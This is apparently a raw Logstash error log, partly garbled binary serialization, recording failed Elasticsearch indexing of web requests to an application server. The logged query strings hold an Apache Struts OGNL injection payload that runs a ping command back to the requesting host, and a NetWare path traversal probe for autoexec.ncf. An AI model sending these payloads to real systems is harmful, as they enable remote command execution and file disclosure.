"httpHeaderMap"=>{"host"=>"172.16.3.85:51002", "user-agent"=>"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"}, "conversationId"=>"",
"queryMap"=>{"redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p7a67417148346b723130
172.16.2.47').getInputStream())}"=>""}, "requestBodySize"=>0,
"tagMap"=>{"queryString"=>"redirect:$%7b%23context%5b
%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d
%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess
%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue
%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime
%28%29.exec%28%27ping%20-c%203%20-
p7a67417148346b723130%20172.16.2.47%27%29.getInputStream%28%29%29%7d"},
"clientIp"=>"172.16.2.47", "accessUrl"=>"http://172.16.3.85:51002/error"},
"controllerInfo"=>{"actionName"=>"error"}, "conversationId"=>"ec2e11ce-deef-4839-
b33f-82ffcb6d02cc", "processPeriodInMs"=>0,
"responseInfo"=>{"responseBodySize"=>110, "responseStatus"=>"999-99-9999",
"responseBody"=>"{\n \"timestamp\" : \"2024-02-10T07:02:57.825+00:00\",\
n \"status\" : 404,\n \"error\" : \"Not Found\",\n \"path\" : \"/\"\n}"},
"logEventList"=>[{"messageList"=>[],
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter",
"processPeriodInMs"=>0, "endTime"=>"2024-02-10T07:02:57.825Z", "startTime"=>"2024-
02-10T07:02:57.825Z", "eventStatus"=>"event-failure",
"handlerMethodName"=>"initialLoggerRecord", "eventName"=>"error"}],
"endTime"=>"2024-02-10T07:02:57.825Z", "startTime"=>"2024-02-10T07:02:57.825Z",
"appInfo"=>{"appVersion"=>"1.37.0.1", "appName"=>"pi2-epa",
"serverName"=>"piepaaz01u_51002"}}, "@version"=>"1",
"http"=>{"request"=>{"mime_type"=>"application/json", "body"=>{"bytes"=>"3346"}},
"method"=>"POST", "version"=>"HTTP/1.1"}}], response:
{"index"=>{"_index"=>"logstash-applog2-2024.02.10", "_id"=>"qfvTkY0BsqL_5N5Wm3A9",
"status"=>400, "error"=>{"type"=>"illegal_argument_exception", "
reason"=>"Limit of mapping depth [20] has been exceeded due to object field
[loggerRecord.requestInfo.queryMap.redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p7a67417148346b723130 172.16.2.47')]"}}}1cl▒▒▒▒▒x▒▒2024-02-
10T07:04:22.224913256Z▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dhost▒xo
rg.logstash.ConvertedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒j@timestamp▒vorg.
logstash.Timestampx2024-02-
10T07:04:22.014307581Z▒dtype▒torg.jruby.RubyStringgapplog2▒dtags▒xorg.logstash.Conv
ertedList▒▒torg.jruby.RubyStringoshipperelkaz70u▒▒▒curl▒xorg.logstash.ConvertedMap▒
dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒lloggerRecord▒xorg.logstas
h.ConvertedMap▒krequestInfo▒xorg.logstash.ConvertedMap▒jrequestURI▒torg.jruby.RubyS
tringf/error▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1;
Trident/4.0)▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒faccept▒torg.jruby.RubyStrin
gxCimage/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*▒oaccept-
language▒torg.jruby.RubyStringben▒naccept-charset▒torg.jruby.RubyStringriso-8859-
1,*,utf-8▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒fpragma▒torg.jruby.RubyStringhno-
cache▒dhost▒torg.jruby.RubyStringk172.16.3.85▒juser-agent▒torg.jruby.RubyStringx?
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒▒▒nconversationId▒torg.jruby.RubyString`▒hqueryMap▒xorg.logstash.Conve
rtedMap▒xcsys:/novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf▒torg.jruby.RubyString`▒▒▒orequestBodySi
zetagMap▒xorg.logstash.ConvertedMap▒kqueryString▒torg.jruby.RubyStringxcsys:/
novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/
autoexec.ncf▒▒▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ru
byStringxhttp://172.16.3.85/
error▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jruby.RubyStrin
geerror▒▒▒nconversationId▒torg.jruby.RubyStringx$0ad348b3-79ae-49a4-ab26-
00ab2230738e▒qprocessPeriodInMsresponseInfo▒xorg.logstash.ConvertedMap▒presponseBod
ySizenresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒lresponseBody▒torg.jruby.RubyStringx|{
"timestamp" : "2024-02-10T07:04:19.574+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/lcgi/sewse.nlm"
}▒▒▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logstash.ConvertedMap▒kmessageL
ist▒xorg.logstash.ConvertedList▒▒▒phandlerClassName▒torg.jruby.RubyStringx.com.drfi
rst.gear.logger.util.GearLoggerAdapter▒qprocessPeriodInMsendTime▒torg.jruby.RubyStr
ingx2024-02-10T07:04:19.575Z▒istartTime▒torg.jruby.RubyStringx2024-02-
10T07:04:19.575Z▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qhandlerMethodName▒torg.jruby.RubyStringsinitialLoggerRecord▒ieventName▒tor
g.jruby.RubyStringeerror▒▒▒▒▒gendTime▒torg.jruby.RubyStringx2024-02-
10T07:04:19.575Z▒istartTime▒torg.jruby.RubyStringx2024-02-
10T07:04:19.575Z▒gappInfo▒xorg.logstash.ConvertedMap▒jappVersion▒torg.jruby.RubyStr
ingh1.37.0.1▒gappName▒torg.jruby.RubyStringgpi2-
epa▒jserverName▒torg.jruby.RubyStringppiepaaz01u_51002▒▒▒▒▒h@versiona1dhttp▒xorg.lo
gstash.ConvertedMap▒grequest▒xorg.logstash.ConvertedMap▒imime_type▒torg.jruby.RubyS
tringpapplication/
json▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringd7303▒▒▒▒▒fmethod
▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.RubyStringhHTTP/
1.1▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒einput▒xorg.logstash.ConvertedMap▒dhttp▒xo
rg.logstash.ConvertedMap▒grequest▒xorg.logstash.ConvertedMap▒gheaders▒xorg.logstash
.ConvertedMap▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drfirst:50581▒khttp_accept
▒qorg.jruby.RubyNil▒▒lrequest_path▒torg.jruby.RubyStringa/
▒ncontent_length▒torg.jruby.RubyStringd7303▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒lcontent_type▒torg.jruby.RubyStringpappl
ication/
json▒nrequest_method▒torg.jruby.RubyStringdPOST▒qsingularityheader▒torg.jruby.RubyS
tringy!appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707548659017*btid=673956*guid=02e8f5ae-a507-4fd8-971d-
5b15ba45d5e8*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esuelasticse
archdto▒Could not index event to Elasticsearch. status: 400, action: ["index",
{:_id=>nil, :_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"host"=>{"ip"=>"172.16.0.180"}, "@timestamp"=>2024-02-10T07:04:22.014307581Z,
"type"=>"applog2", "tags"=>["shipperelkaz70u"], "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581},
"loggerRecord"=>{"requestInfo"=>{"requestURI"=>"/error", "userAgent"=>"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"httpHeaderMap"=>{"accept"=>"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*", "accept-language"=>"en", "accept-charset"=>"iso-8859-1,*,utf-8",
"connection"=>"Keep-Alive", "pragma"=>"no-cache", "host"=>"172.16.3.85", "user-
agent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"},
"conversationId"=>"", "queryMap"=>{"sys:/novonyx/suitespot/docs/sewse/viewcode.jse
httplist httplist/../../../../../system/autoexec.ncf"=>""}, "requestBodySize"=>0,
"tagMap"=>{"queryString"=>"sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+
httplist/../../../../../system/autoexec.ncf"}, "clientIp"=>"172.16.2.47",
"accessUrl"=>"http://172.16.3.85/error"},
"controllerInfo"=>{"actionName"=>"error"}, "conversationId"=>"0ad348b3-79ae-49a4-
ab26-00ab2230738e", "processPeriodInMs"=>0,
"responseInfo"=>{"responseBodySize"=>124, "responseStatus"=>"999-99-9999",
"responseBody"=>"{\n \"timestamp\" : \"2024-02-10T07:04:19.574+00:00\",\
n \"status\" : 404,\n \"error\" : \"Not Found\",\n \"path\" :
\"/lcgi/sewse.nlm\"\n}"}, "logEventList"=>[{"messageList"=>[],
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter",
"processPeriodInMs"=>0, "endTime"=>"2024-02-10T07:04:19.575Z", "startTime"=>"2024-
02-10T07:04:19.575Z", "eventStatus"=>"event-failure",
"handlerMethodName"=>"initialLoggerRecord", "eventName"=>"error"}],
"endTime"=>"2024-02-10T07:04:19.575Z", "startTime"=>"2024-02-10T07:04:19.575Z",
"appInfo"=>{"appVersion"=>"1.37.0.1", "appName"=>"pi2-epa",
"serverName"=>"piepaaz01u_51002"}}, "@version"=>"1",
"http"=>{"request"=>{"mime_type"=>"application/json", "body"=>{"bytes"=>"7303"}},
"method"=>"POST", "version"=>"HTTP/1.1"}}], response:
{"index"=>{"_index"=>"logstash-applog2-2024.02.10", "_id"=>"tSbUkY0BZzqv4PBm2frI",
"status"=>400, "error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['sys:/novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf']"}}}}1

You might also like